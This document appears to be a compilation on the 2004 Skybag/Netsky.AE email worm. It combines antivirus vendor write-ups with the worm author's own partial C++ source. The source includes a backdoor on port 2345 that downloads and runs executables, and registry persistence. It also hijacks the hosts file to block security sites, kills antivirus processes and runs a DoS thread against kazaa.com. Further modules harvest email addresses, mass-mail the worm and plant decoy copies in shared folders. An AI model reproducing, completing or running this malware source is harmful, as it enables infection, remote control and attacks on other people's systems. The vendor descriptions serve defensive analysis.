Source Email Worm - win32.Skybag.A
Source Email Worm - win32.Skybag.A
a
Aliases
Email-Worm.Win32.Skybag.a (Kaspersky Lab) is also known as: I-Worm.Skybag.a (Kaspersky Lab),
W32/Netsky.ah@MM (McAfee), W32.Netsky.AE@mm (Symantec), Win32.HLLP.Skybag (Doctor Web),
W32/Yaha-G (Sophos), Worm:Win32/SKybag.A@mm (RAV), WORM_YAHA.H (Trend Micro),
Worm/Skybag.A (H+BEDV), W32/Netsky.AJ@mm (FRISK), Win32:Skybag (ALWIL), I-
Worm/Netsky.AF (Grisoft), Win32.Skybag.A@mm (SOFTWIN), Worm.Skybag.A (ClamAV),
W32/Skybag.A.worm (Panda), Win32/Skybag.A (Eset)
Description added Nov 12 2004
Behavior            Email Worm
Technical details
This worm spreads via the Internet as an attachment to infected messages, and via local and file sharing
networks. The worm sends itself to email addresses harvested from the infected machine.
Installation
When installing, the worm copies itself to the Windows system directory as:
bloodred.exe
Windows_kernel32.exe
The worm creates a file called 'bloodred.zip' in the Windows root directory.
This ensures that the worm will be launched each time the system is rebooted.
http://www.viruslist.com/en/viruses/encyclopedia?virusid=64524
txt
xml
The worm uses the recipient's SMTP server to send messages to all harvested addresses.
Messages are not sent to addresses which contain the following text strings:
@avp
@fsecure
@hotmail
@microsoft
@mm
@msn
@noreply
@norman
@norton
@panda
@sopho
@symantec
@virusli
Infected messages:
Sender's address (chosen at random from the list below):
administration@
management@
Server@
service@
userhelp@
        Due to recent internet attacks, your Email account security is being upgraded. The attachment
        contains more details
        Our Email system has received reports of your account flooding email servers. There is more
        information on this matter in the attachment
        We regret to inform you that your account has been hijacked and used for illegal purposes. The
        attachment has more information about what has happened.
        Your Email account information has been removed from the system due to inactivity. To renew
        your account information refer to the attachment
Payload
Skybag.a closes the Windows Task Manager application, if it is open.
The worm overwrites the %System%\DRIVERS\ETC\HOSTS file with the following text:
127.0.0.1       www.norton.com
127.0.0.1       norton.com
127.0.0.1       yahoo.com
127.0.0.1       www.yahoo.com
127.0.0.1       microsoft.com
127.0.0.1       www.microsoft.com
127.0.0.1       windowsupdate.com
127.0.0.1       www.windowsupdate.com
127.0.0.1       www.mcafee.com
127.0.0.1       mcafee.com
127.0.0.1       www.nai.com
127.0.0.1       nai.com
127.0.0.1       www.ca.com
127.0.0.1       ca.com
127.0.0.1       liveupdate.symantec.com
127.0.0.1       www.sophos.com
127.0.0.1       www.google.com
127.0.0.1       google.com
If the infected computer's system date is November 15, 2004 or later, the worm attempts to conduct DoS
attacks against www.kazaa.com
Also the worm attempts to block the work of a number of firewalls and antivirus monitors.
http://www.viruslist.com/en/viruses/encyclopedia?virusid=64524
I-Worm.Skybag.a opens and then monitors TCP port 2345 to listen for commands.
http://www.viruslist.com/en/viruses/encyclopedia?virusid=64524
W32.Netsky.AE@mm
Risk Level 2: Low
Printer Friendly Page
        SUMMARY
        TECHNICAL DETAILS
        REMOVAL
               %System%\bloodred.exe
               %System%\Windows_kernel32.exe
               Note: %System% is a variable that refers to the System folder. By default this is
               C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or
               C:\Windows\System32 (Windows XP).
               %Windir%\bloodred.zip (A zipped copy of the worm. The file name within is Urgent_Info.pif.)
               %System%\base64exe.sys (detected as W32.Netsky.AE@mm!enc)
               %System%\base64zip.sys (detected as W32.Netsky.AE@mm!enc)
               Note: %Windir% is a variable that refers to the Windows installation folder. By default, this is
               C:\Windows or C:\Winnt.
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
        127.0.0.1      norton.com
        127.0.0.1      yahoo.com
        127.0.0.1      www.yahoo.com
        127.0.0.1      microsoft.com
        127.0.0.1      www.microsoft.com
        127.0.0.1      windowsupdate.com
        127.0.0.1      www.windowsupdate.com
        127.0.0.1      www.mcafee.com
        127.0.0.1      mcafee.com
        127.0.0.1      www.nai.com
        127.0.0.1      nai.com
        127.0.0.1      www.ca.com
        127.0.0.1      ca.com
        127.0.0.1      liveupdate.symantec.com
        127.0.0.1      www.sophos.com
        127.0.0.1      www.google.com
        127.0.0.1      google.com
               'D'r'o'p'p'e'd'S'k'y'N'e't'
               SkynetNotice
               SkynetSasserVersionWithPingFast
               JumpallsNlsTillt
               Jobaka3l
               Jobaka3
               MuXxXxTENYKSDesignedAsTheFollowerOfSkynet-D
               S-k-y-n-e-t--A-n-t-i-v-i-r-u-s-T-e-a-m
               SkyNet-Sasser
               AdmSkynetJKIS003
               [SkyNet.cz]SystemsMutex
               LK[SkyNet.cz]SystemsMutex
               Netsky AV Guard
               MI[SkyNet.cz]SystemsMutex
               KO[SkyNet.cz]SystemsMutex
               SkYnEt_AVP
               Rabbo
               Rabbo_Mutex
               Bgl_*L*o*o*s*e*
               _-oO]xX|-S-k-y-N-e-t-|Xx[Oo-_
               _-oOaxX|-+S+-+k+-+y+-+N+-+e+-+t+-|XxKOo-_
               89845848594808308439858307378280987074387498739847
               Protect_USUkUyUnUeUtU_Mutex
               SyncMutex_USUkUyUnUeUtU
               SyncMutex_USUkUyUnUeUtUU
               _-=oOOSOkOyONOeOtOo=-_
               NetDy_Mutex_Psycho
               ____--->>>>U<<<<--____
               (S)(k)(y)(N)(e)(t)
               AdmMoodownJKIS003
   9. Terminates large number of antivirus and security applications. See the "Processes" section at the end
      of the Technical Details for a complete list.
10. Listens on TCP port 2345 for commands from a remote attacker.
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
  11. If the attacker sends an executable file to the infected computer, the worm saves it in the %System%
      folder as an .exe file with a name made up of three to twelve random, lowercase letters, and then
      executes it.
  12. Performs a DoS against www.kazaa.com, if the infected computer's system date is set to November
      15, 2004 or later.
  13. Copies itself to any folders that have names containing the string "shar" on the drives C through X,
      using one of the following names:
15. Gathers email addresses from the Windows address book and from files with the following extensions:
               .adb
               .asp
               .dbx
               .doc
               .htm
               .html
               .jsp
               .rtf
               .txt
               .xml
  16. Uses its own SMTP engine to send itself to all the email addresses that it finds. The email has the
      following characteristics:
               where <recipient domain> is the domain of the email address the worm is sending the email to.
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
               For example, if the email address is john@example.com, the email may have a From: line with
               the email address service@example.com.
17. The worm avoids sending itself to email addresses that contain any of the following strings:
               @hotmail
               @fsecure
               @virusli
               @noreply
               @norton
               @norman
               @mm
               @sopho
               @msn
               @microsoft
               @avp
               @panda
               @symantec
Processes
The worm will attempt to terminate any of the following processes:
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
               AGENTSVR.EXE
               ANTI-TROJAN.EXE
               ANTIVIRUS.EXE
               ANTS.EXE
               APIMONITOR.EXE
               APLICA32.EXE
               APVXDWIN.EXE
               ATCON.EXE
               ATGUARD.EXE
               ATRO55EN.EXE
               ATUPDATER.EXE
               ATWATCH.EXE
               AUPDATE.EXE
               AUTODOWN.EXE
               AUTOTRACE.EXE
               AUTOUPDATE.EXE
               AVCONSOL.EXE
               AVGSERV9.EXE
               AVLTMAIN.EXE
               AVPUPD.EXE
               AVSYNMGR.EXE
               AVWUPD32.EXE
               AVXQUAR.EXE
               AVprotect9x.exe
               Au.exe
               BD_PROFESSIONAL.EXE
               BIDEF.EXE
               BIDSERVER.EXE
               BIPCP.EXE
               BIPCPEVALSETUP.EXE
               BISP.EXE
               BLACKD.EXE
               BLACKICE.EXE
               BOOTWARN.EXE
               BORG2.EXE
               BS120.EXE
               CCAPP.exe
               CDP.EXE
               CFGWIZ.EXE
               CFIADMIN.EXE
               CFIAUDIT.EXE
               CFINET.EXE
               CFINET32.EXE
               CLEAN.EXE
               CLEANER.EXE
               CLEANER3.EXE
               CLEANPC.EXE
               CMGRDIAN.EXE
               CMON016.EXE
               CPD.EXE
               CPF9X206.EXE
               CPFNT206.EXE
               CV.EXE
               CWNB181.EXE
               CWNTDWMO.EXE
               D3dupdate.exe
               DEFWATCH.EXE
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
               DEPUTY.EXE
               DPF.EXE
               DPFSETUP.EXE
               DRWATSON.EXE
               DRWEBUPW.EXE
               ENT.EXE
               ESCANH95.EXE
               ESCANHNT.EXE
               ESCANV95.EXE
               EXANTIVIRUS-CNET.EXE
               FAST.EXE
               FIREWALL.EXE
               FLOWPROTECTOR.EXE
               FP-WIN_TRIAL.EXE
               FRW.EXE
               FSAV.EXE
               FSAV530STBYB.EXE
               FSAV530WTBYB.EXE
               FSAV95.EXE
               GBMENU.EXE
               GBPOLL.EXE
               GUARD.EXE
               HACKTRACERSETUP.EXE
               HTLOG.EXE
               HWPE.EXE
               IAMAPP.EXE
               IAMSERV.EXE
               ICLOAD95.EXE
               ICLOADNT.EXE
               ICMON.EXE
               ICSSUPPNT.EXE
               ICSUPP95.EXE
               ICSUPPNT.EXE
               IFW2000.EXE
               IPARMOR.EXE
               IRIS.EXE
               JAMMER.EXE
               KAVLITE40ENG.EXE
               KAVPERS40ENG.EXE
               KERIO-PF-213-EN-WIN.EXE
               KERIO-WRL-421-EN-WIN.EXE
               KERIO-WRP-421-EN-WIN.EXE
               KILLPROCESSSETUP161.EXE
               LDPRO.EXE
               LOCALNET.EXE
               LOCKDOWN.EXE
               LOCKDOWN2000.EXE
               LSETUP.EXE
               LUALL.EXE
               LUCOMSERVER.EXE
               LUINIT.EXE
               MCAGENT.EXE
               MCUPDATE.EXE
               MFW2EN.EXE
               MFWENG3.02D30.EXE
               MGUI.EXE
               MINILOG.EXE
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
               MOOLIVE.EXE
               MRFLUX.EXE
               MSCONFIG.EXE
               MSINFO32.EXE
               MSSMMC32.EXE
               MU0311AD.EXE
               NAV80TRY.EXE
               NAVAPW32.EXE
               NAVDX.EXE
               NAVSTUB.EXE
               NAVW32.EXE
               NC2000.EXE
               NCINST4.EXE
               NDD32.EXE
               NEOMONITOR.EXE
               NETARMOR.EXE
               NETINFO.EXE
               NETMON.EXE
               NETSCANPRO.EXE
               NETSPYHUNTER-1.2.EXE
               NETSTAT.EXE
               NISSERV.EXE
               NISUM.EXE
               NMAIN.EXE
               NORTON_INTERNET_SECU_3.0_407.EXE
               NPF40_TW_98_NT_ME_2K.EXE
               NPFMESSENGER.EXE
               NPROTECT.EXE
               NSCHED32.EXE
               NTVDM.EXE
               NUPGRADE.EXE
               NVARCH16.EXE
               NWINST4.EXE
               NWTOOL16.EXE
               OSTRONET.EXE
               OUTPOST.EXE
               OUTPOSTINSTALL.EXE
               OUTPOSTPROINSTALL.EXE
               PADMIN.EXE
               PANIXK.EXE
               PAVPROXY.EXE
               PCC2002S902.EXE
               PCC2K_76_1436.EXE
               PCCIOMON.EXE
               PCDSETUP.EXE
               PCFWALLICON.EXE
               PCIP10117_0.EXE
               PDSETUP.EXE
               PERISCOPE.EXE
               PERSFW.EXE
               PF2.EXE
               PFWADMIN.EXE
               PINGSCAN.EXE
               PLATIN.EXE
               POPROXY.EXE
               POPSCAN.EXE
               PORTDETECTIVE.EXE
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
               PPINUPDT.EXE
               PPTBC.EXE
               PPVSTOP.EXE
               PROCEXPLORERV1.0.EXE
               PROPORT.EXE
               PROTECTX.EXE
               PSPF.EXE
               PURGE.EXE
               PVIEW95.EXE
               QCONSOLE.EXE
               QSERVER.EXE
               RAV8WIN32ENG.EXE
               RESCUE.EXE
               RESCUE32.EXE
               RRGUARD.EXE
               RSHELL.EXE
               RTVSCN95.EXE
               RULAUNCH.EXE
               SAFEWEB.EXE
               SBSERV.EXE
               SD.EXE
               SETUPVAMEEVAL.EXE
               SETUP_FLOWPROTECTOR_US.EXE
               SFC.EXE
               SGSSFW32.EXE
               SHELLSPYINSTALL.EXE
               SHN.EXE
               SMC.EXE
               SOFI.EXE
               SPF.EXE
               SPHINX.EXE
               SPYXX.EXE
               SS3EDIT.EXE
               ST2.EXE
               SUPFTRL.EXE
               SUPPORTER5.EXE
               SYMPROXYSVC.EXE
               SYSEDIT.EXE
               TASKMON.EXE
               TAUMON.EXE
               TAUSCAN.EXE
               TC.EXE
               TCA.EXE
               TCM.EXE
               TDS-3.EXE
               TDS2-98.EXE
               TDS2-NT.EXE
               TFAK5.EXE
               TGBOB.EXE
               TITANIN.EXE
               TITANINXP.EXE
               TRACERT.EXE
               TRJSCAN.EXE
               TRJSETUP.EXE
               TROJANTRAP3.EXE
               UNDOBOOT.EXE
               UPDATE.EXE
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
               VBCMSERV.EXE
               VBCONS.EXE
               VBUST.EXE
               VBWIN9X.EXE
               VBWINNTW.EXE
               VCSETUP.EXE
               VFSETUP.EXE
               VIRUSMDPERSONALFIREWALL.EXE
               VNLAN300.EXEVNPC3000.EXE
               VPC42.EXE
               VPFW30S.EXE
               VPTRAY.EXE
               VSCENU6.02D30.EXE
               VSECOMR.EXE
               VSHWIN32.EXE
               VSISETUP.EXE
               VSMAIN.EXE
               VSMON.EXE
               VSSTAT.EXE
               VSWIN9XE.EXE
               VSWINNTSE.EXE
               VSWINPERSE.EXE
               W32DSM89.EXE
               W9X.EXE
               WATCHDOG.EXE
               WEBSCANX.EXE
               WGFE95.EXE
               WHOSWATCHINGME.EXE
               WINRECON.EXE
               WNT.EXE
               WRADMIN.EXE
               WRCTRL.EXE
               WSBGATE.EXE
               WYVERNWORKSFIREWALL.EXE
               XPF202EN.EXE
               ZAPRO.EXE
               ZAPSETUP3001.EXE
               ZATUTOR.EXE
               ZAUINST.EXE
               ZONALM2601.EXE
               ZONEALARM.EXE
               avserve2.exe
http://www.symantec.com/security_response/writeup.jsp?docid=2004-102522-4640-99
About BloodRed v1.txt
...it is a full massmailer written in C++ I am rather pleased that i finally finished it.
Please use your head and dont release it. Here is a list of operations it does:
Composes a message with random subject, message, attachment name, attachment extension.
Gets user's current DNS server and queries it for the MX record of the recipients address
(on Windows 95/98/ME Operating Systems)
Uses DNSAPI.dll to query for MX record of recipient (only on 2000 and XP Operating systems)
Finally it starts a backdoor thats able to download executable files, save them to a random
filename in the System Directory, then execute the file
Enjoy it, and please do not release this. Use this code to learn.
by Jackhole
Backdoor.cpp
/*************************
* Opens up port 2345.
* Backdoor that accepts
* remotely sent exe files
* saves them as a random
* filename to system dir
* then executes them :)
*
**************************/
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32.lib")
#define BACKLOG 5
    srand(GetTickCount());
char random[MAX_PATH];
int e,d;
d = 3 + (rand() % 10);
         for (e=0; e<d; e++)
             random[e] = 'a' + (rand() % 26);
        char fslash[260]="//";
        GetSystemDirectory(path,sizeof(path));
strcat(path,fslash);
strcat(path,random);
strcat(path,".exe");
      for (i=0;;) {
          j = recv(sock, buf, sizeof(buf), 0);
          if (j <= 0) break;
          i += j;
          WriteFile(hFile, buf, j, &dw, 0);
    }
    CloseHandle(hFile);
ShellExecute(NULL,"open",path,NULL,NULL,SW_SHOW);
    closesocket(sock);
    return;
Backdoor.cpp
drop:   closesocket(sock);
    if (hFile != NULL)
    return;
}
     int sin_size;
     int socket1;
     int socket_accept;
     struct sockaddr_in server;
     struct sockaddr_in client;
    socket1 = socket(AF_INET, SOCK_STREAM, 0);
     server.sin_family = AF_INET;
     server.sin_port = htons(PORT);
     server.sin_addr.s_addr = INADDR_ANY;
     bind(socket1,(struct sockaddr *)&server,sizeof(struct sockaddr));
    listen(socket1,BACKLOG);
     while(1){
        sin_size = sizeof(struct sockaddr_in);
       socket_accept = accept(socket1, (struct sockaddr *)&client,&sin_size);
retrieve_file(socket_accept);
    return 0;
}
}
Base64.cpp
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
//base64 encoding algorithm. Used for the massmailer's attachment
void EncodeBase64(char *strFile, char *szPath)
{
    char Alphabet[64]={ 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
                        'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
                        'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
                        'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' };
      if (incr==1)
      {
          char1 = bytes[0] >> 2;
          fprintf(fout,"%c",Alphabet[char1]);
          char1 = ((bytes[0] << 6) | 0);
          char1 = char1 >> 2;
          fprintf(fout,"%c==",Alphabet[char1]);
      }
      if (incr==2)
      {
          char1 = bytes[0] >> 2;
          fprintf(fout,"%c",Alphabet[char1]);
Base64.cpp
}
BloodRed.cpp
/**************************************************
*            Bloodred - Written by Jackhole
*
*   Project History:
* + Main idea - November 2003
* + Initial design - December 2003
* + First half of worm completed - February 2004
* + Total recode of first half of worm - June 2004
* The main reason I did this was the original virus
* had many problems massmailing and the exe infector
* didn't quite work
*
* + First executable infector finished, later posted
* rohitab.com - August 2004
* + Worm Completion 12:42 A.M. September 21, 2004
*
* PLEASE READ THIS STATEMENT: I AM NOT HELD
* RESPONSIBLE FOR ANY ACTIONS YOU TAKE WITH THIS
* SOFTWARE. THIS IS FOR EDUCATIONAL PURPOSES ONLY
* YOU AND ONLY YOU ARE RESPONSIBLE!
*
*
* TODO: Add email queue
* Add more elaborative payloads
* Create a better exe infector (mine infected .SCRs
* which is essentialy the same thing)
* Add more replication mechanisms
* Add more Processes to AV kill list
* ...
*
* Happy Coding!
* P.S. Releasing viruses is very stupid and it is
* punishable under applicable law.
**************************************************/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock.h>
#include "backdoor.h"
#include "KillProc.h"
#include "Harvester.h"
#include "ZipIt.h"
#include "Base64.h"
#include "DOS.h"
#include <stdio.h>
#pragma comment (lib,"ws2_32.lib")
    };
//kill all netsky and sasser        variants
void kill_skynet()
{
    CreateMutexA(NULL, TRUE,        "AdmMoodownJKIS003");
    CreateMutexA(NULL, TRUE,        "(S)(k)(y)(N)(e)(t)");
    CreateMutexA(NULL, TRUE,        "____--->>>>U<<<<--____");
BloodRed.cpp
char host[MAX_PATH];
GetSystemDirectory(host, sizeof(host));
strcat(host, "\\Drivers\\ETC\\HOSTS");
DWORD byte;
HANDLE hFile = CreateFile(host, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
BOOL bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
CloseHandle(hFile);
void bldred_install()
{
BloodRed.cpp
    char pathname[256];
char windir[MAX_PATH];
char bldred_instpath[MAX_PATH];
GetSystemDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, "\\Windows_kernel32.exe");
CopyFile(pathname,windir,0);
lstrcpy(bldred_instpath,windir);
char buffer[60];
unsigned long size = sizeof(buffer);
strcpy(buffer, bldred_instpath);
HKEY software;
HKEY mykey;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\",&software);
RegCreateKey(software,"Run",&mykey);
RegSetValueEx(mykey,"Microsoft Kernel",NULL,REG_SZ,(LPBYTE)buffer,size);
RegCloseKey(mykey);
RegCloseKey(software);
int bldred_mutex()
{
    CreateMutexA(NULL, TRUE, "~~~Bloodred~~~owns~~~you~~~xoxo~~~2004");
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
return 0;
}
//display fake error message only once. If it can't find frun.txt then thats when it
displays the message
void msg()
{
    char host[MAX_PATH];
GetSystemDirectory(host, sizeof(host));
strcat(host, "\\frun.txt");
FILE* fin;
        fin = fopen(host,"rb");
    if (fin==NULL)
MessageBox(NULL,"Windows encountered an error reading the file","Error",MB_OK|MB_ICONERROR);
    const char* buffer = "Here's Johnny :)"; //just a message within frun.txt
    DWORD byte;
HANDLE hFile = CreateFile(host, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
BOOL bSuccess = WriteFile (hFile, buffer, strlen(buffer), &byte, NULL);
CloseHandle(hFile);
}
void bldred_mail_install()
{
      char systemdir[100];
      char systemdir2[100];
      char systemdir3[100];
      GetSystemDirectory(systemdir,sizeof(systemdir));
      GetSystemDirectory(systemdir2,sizeof(systemdir2));
BloodRed.cpp
    GetSystemDirectory(systemdir3,sizeof(systemdir3));
    strcat(systemdir,"\\bloodred.exe");
    strcat(systemdir2,"\\base64zip.sys");
    strcat(systemdir3,"\\base64exe.sys");
    char buf3[260];
    char windir[260];
    GetWindowsDirectory(windir,sizeof(windir));
    GetModuleFileName(NULL,buf3,MAX_PATH);
CopyFile(buf3,systemdir,0);
strcat(windir,"\\bloodred.zip");
zip_store(buf3,windir,"Urgent_Info.pif");
EncodeBase64(windir,systemdir2);
EncodeBase64(windir,systemdir3);
}
//if it's past october 11th 2004 perform the DOS attack against kazaa.com, those damn
// spyware writers.
int chk_dos_date()
{
    static const SYSTEMTIME termdate = { 2004,10,0,11,   16,38,43 };
    FILETIME ftime_c, ftime_f;
    GetSystemTimeAsFileTime(&ftime_c);
    SystemTimeToFileTime(&termdate, &ftime_f);
    if (ftime_c.dwHighDateTime > ftime_f.dwHighDateTime) return 1;
    if (ftime_c.dwHighDateTime < ftime_f.dwHighDateTime) return 0;
    if (ftime_c.dwLowDateTime > ftime_f.dwLowDateTime) return 1;
    return 0;
}
void bldred_main()
    DWORD pl;
    DWORD tid;
    endAvSoft();
    //if the date is passed the 11th create the dos attack thread
    if(chk_dos_date()) CreateThread(0, 0, DOSATTACK, NULL, 0, &tid);
    bldred_mail_install();
 bldred_mutex();
    CreateThread(0, 0, listening, NULL, 0, &pl);
    msg();
        kill_skynet();
    bldred_install();
   host();
harvest_main();
//VIRUS ENTRY POINT. WITHOUT THIS, THE VIRUS WON'T RUN, DUH!
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
//startup: Windows Socket Library
    WSADATA data;
    WSAStartup(MAKEWORD(2,0), &data);
    bldred_main();
}
DOS.cpp
SOCKET sock;
}
//ip address resolver. uses gethostbyname api to get ip of site from dns
static unsigned long resolve(char *website)
{
unsigned long addy = inet_addr(website);
if (addy == 0xFFFFFFFF || (addy == 0 && website[0] != '0')) {
struct hostent *host = gethostbyname(website);
if (host != NULL)
addy = *(unsigned long *)host->h_addr_list[0];
}
if (addy == 0xFFFFFFFF) addy = 0;
return addy;
}
//main code for dos attack
int attacksite()
{
WSADATA data;
WSAStartup(MAKEWORD(2,0), &data);
connect_c(&addr);
return 0;
}
//main thread for dos attack
DWORD _stdcall DOSATTACK(LPVOID th)
{
DOS.cpp
    int i;
#define numthreads 100
    for(i=1; i<numthreads; i++) //for loop that launches attack thread 100 times
        attacksite();
return 0; //just return null
}
Harvester.cpp
#include <stdio.h>
#include <windows.h>
#include "mailer.h"
register int m;
DWORD tid;
// Opens the file, scans to the end of the file looking for @ sign
// if one is found it backs up to the beginning of addresss
// and grabs the from beginning to end, harvests it then
// passes it through massmail_it
int harvest_textfile(const char *text_file)
{
FILE     *fp;
long     byte_count = 0L;
long     at_count = 0L;
char     collected[200];
    int ch;
    long fpos = 0L;
    int idx;
        return 0;
    }
    int valid = 0;
    while ((ch = fgetc(fp)) != EOF && (fpos <= byte_count)) {
      if (ch == '@') {
        at_count++;
                if (fpos == 0) {
                  rewind(fp);
                  break;
                }
                else {
                  fpos--;
                  fseek(fp, fpos, 0);
                  ch = fgetc(fp);
                }
                if (ch == EOF) fclose(fp);
          }
idx = 0;
if (!valid) break;
                collected[idx] = ch;
                idx++;
          }
          collected[idx] = '\0';
          massmail_it(collected);
      }
    }
    fclose(fp);
    return 0;
}
/**********************************************
*
*
Harvester.cpp
      int bld;
      bld=int(*(buffer+0x64));
      DWORD add=MAKELONG(MAKEWORD(*(buffer+0x60),*(buffer+0x61)),
                                   MAKEWORD(*(buffer+0x62),*(buffer+0x63)));
      char addressOne[300];
      int ii,j=0;
      int len;
      for (len=0;len<(bld*68);len+=68){
          for (ii=0;ii<=68;ii++)
          {
               addressOne[ii]=*(buffer+add+j+len);
               j+=2;
          }
          addressOne[68]='\0';j=0;
massmail_it(addressOne);
      }
      CloseHandle (fhandle1);
      UnmapViewOfFile(buffer);
      CloseHandle (fhandle2);
      return 0;
Harvester.cpp
char pathname[256];
char    pathname[256];
char    p2p2[MAX_PATH];
char    p2p3[MAX_PATH];
char    p2p4[MAX_PATH];
char    p2p5[MAX_PATH];
char    p2p6[MAX_PATH];
char    p2p7[MAX_PATH];
char    p2p8[MAX_PATH];
char    p2p9[MAX_PATH];
char    p2p10[MAX_PATH];
char    p2p11[MAX_PATH];
char    p2p12[MAX_PATH];
char    p2p13[MAX_PATH];
char    p2p14[MAX_PATH];
char    p2p15[MAX_PATH];
char    p2p16[MAX_PATH];
char    p2p17[MAX_PATH];
char    p2p18[MAX_PATH];
char    p2p19[MAX_PATH];
char    p2p20[MAX_PATH];
strcat(p2p, "\\ACDSEE10.exe");
strcat(p2p2, "\\Adobe Photoshop Full Version.exe");
strcat(p2p3, "\\Cisco source code.zip                 .exe");
strcat(p2p4, "\\WinAmp 6.exe");
strcat(p2p5, "\\WinRAR.exe");
strcat(p2p6, "\\Windows Longhorn Beta.exe");
strcat(p2p7, "\\WINDOWS SOURCE CODE.zip                         .exe");
strcat(p2p8, "\\jenna jameson screensaver.scr");
strcat(p2p9, "\\Opera Registered version.exe");
Harvester.cpp
CopyFile(pathname,p2p,0);
CopyFile(pathname,p2p2,0);
CopyFile(pathname,p2p3,0);
CopyFile(pathname,p2p4,0);
CopyFile(pathname,p2p5,0);
CopyFile(pathname,p2p6,0);
CopyFile(pathname,p2p7,0);
CopyFile(pathname,p2p8,0);
CopyFile(pathname,p2p9,0);
CopyFile(pathname,p2p10,0);
CopyFile(pathname,p2p11,0);
CopyFile(pathname,p2p12,0);
CopyFile(pathname,p2p13,0);
CopyFile(pathname,p2p14,0);
CopyFile(pathname,p2p15,0);
CopyFile(pathname,p2p16,0);
CopyFile(pathname,p2p17,0);
CopyFile(pathname,p2p18,0);
CopyFile(pathname,p2p19,0);
CopyFile(pathname,p2p20,0);
}
//copy to folders containing "shar"
void p2p_in(char *path)
{
CharLower(path);
    if (strstr(path,"shar")) {
        copy_to(path);
    }
    else {
        return;
}
      if (o < 0) {
          Extension[0] = 0;
Harvester.cpp
      } else {
          lstrcpyn(Extension, finder->cFileName+o+1, sizeof(Extension)-1);
          CharLower(Extension);
      }
do {
e = 1;
e = 0;
if (Extension[0] == 0)
e = 0;
                return;
      }
while (0);
      if (e == 1) {
          harvest_textfile(destination);
      }
      strcpy(buffer, path);
      if (buffer[strlen(buffer)-1] != '\\') strcat(buffer, "\\");
      strcat(buffer, "*.*");
memset(&data, 0, sizeof(data));
      for (finder=0;;)
      {
Harvester.cpp
if (finder == 0)
                {
                       finder = FindFirstFile(buffer, &data);
                       if (finder == INVALID_HANDLE_VALUE) finder = 0;
                       if (finder == 0)
                           break;
                }
                else
                {
                       if (FindNextFile(finder, &data) == 0) break;
                }
if (data.cFileName[0] == '.')
                {
                       if (data.cFileName[1] == 0)
                           continue;
                       if (data.cFileName[1] == '.')
if (data.cFileName[2] == 0)
                               continue;
                }
                lstrcpy(buffer, path);
                if (buffer[strlen(buffer)-1] != '\\') strcat(buffer, "\\");
                strcat(buffer, data.cFileName);
                else
                       harvest_extensions(buffer,&data);
if (finder != 0) FindClose(finder);
      return 0;
}
void harvest_disks()
{
    char buffer[MAX_PATH], sysdisk;
memset(buffer, 0, sizeof(buffer));
sysdisk = buffer[0];
strcpy(buffer+1, ":\\");
      {
                if (buffer[0] == sysdisk) continue;
                switch (GetDriveType(buffer)) {
Harvester.cpp
                    case DRIVE_FIXED:
                    case DRIVE_RAMDISK:
                        break;
default:
                        continue;
                }
                Sleep(3000);
                recursive(buffer, 15);
      }
}
void harvest_main()
{
                harvest_wab();
                harvest_disks();
}
KillProc.cpp
/**************************************
* Kills Antivirus and Firewall associated
* processes.
* Uses basic windows APIs from tlhelp32
* such as: CreateToolhelp32Snapshot
*
*
**************************************/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
 #include <lm.h>
int endAvSoft()
{
    const char *exelst[] = { "AGENTSVR.EXE", "ANTI-TROJAN.EXE","ANTIVIRUS.EXE","ANTS.EXE",
"APIMONITOR.EXE","APLICA32.EXE","APVXDWIN.EXE","ATCON.EXE","ATGUARD.EXE","ATRO55EN.EXE",
"ATUPDATER.EXE","ATWATCH.EXE","AUPDATE.EXE","AUTODOWN.EXE","AUTOTRACE.EXE","AUTOUPDATE.EXE",
"AVCONSOL.EXE","AVGSERV9.EXE","AVLTMAIN.EXE","AVPUPD.EXE","AVSYNMGR.EXE","AVWUPD32.EXE",
"AVXQUAR.EXE","AVprotect9x.exe","Au.exe","BD_PROFESSIONAL.EXE","BIDEF.EXE","BIDSERVER.EXE",
"BIPCP.EXE","BIPCPEVALSETUP.EXE","BISP.EXE","BLACKD.EXE","BLACKICE.EXE","BOOTWARN.EXE",
"BORG2.EXE","BS120.EXE","CDP.EXE","CFGWIZ.EXE","CFIADMIN.EXE","CFIAUDIT.EXE","CFINET.EXE",
"CFINET32.EXE","CLEAN.EXE","CLEANER.EXE","CLEANER3.EXE","CLEANPC.EXE","CMGRDIAN.EXE",
"CMON016.EXE",
"CPD.EXE","CPF9X206.EXE","CPFNT206.EXE","CV.EXE","CWNB181.EXE","CWNTDWMO.EXE","D3dupdate.exe"
,"DEFWATCH.EXE","DEPUTY.EXE","DPF.EXE","DPFSETUP.EXE","DRWATSON.EXE","DRWEBUPW.EXE","ENT.EXE"
,"ESCANH95.EXE","ESCANHNT.EXE","ESCANV95.EXE","EXANTIVIRUS-CNET.EXE","FAST.EXE",
